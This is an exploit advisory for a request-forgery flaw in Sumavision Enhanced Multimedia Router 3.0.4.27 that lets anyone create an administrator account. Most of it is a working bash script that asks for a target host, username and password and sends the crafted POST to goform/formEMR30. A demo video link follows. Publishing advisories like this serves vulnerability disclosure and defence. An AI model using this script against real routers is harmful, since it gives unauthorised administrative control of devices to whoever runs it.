Enhanced Multimedia Router version 3.0.4.27 suffers from a cross site request forgery vulnerability.

[Description]

goform/formEMR30 in Sumavision Enhanced Multimedia Router (EMR) 3.0.4.27 allows creation of arbitrary users with elevated privileges (administrator) on a device, as demonstrated by a setString=new_user<*1*>administrator<*1*>123456 request.

[Code]

# Miguel Mendez Z. # @s1kr10s echo "" read -p "Set Hostname: " host read -p "Set username: " user echo "(The password should be between 6 and 32 in length)" read -p "Set password: " pass echo echo "[+] creating user..." sleep 2 postdata=$(curl -X POST -d "type=11&cmd=3&language=0&slotNo=255&setString=$user<*1*>administrator<*1*>$pass" "http://$host/goform/formEMR30" -s | grep -i "0") if echo "$postdata" | grep -q "0</html>"; then echo "[+] http://$host/frame_en.asp" echo "[+] created access($user - $pass)" else echo "[-] user not created" fi

[Demo Video]

https://www.youtube.com/watch?v=Ufcj4D9eA5o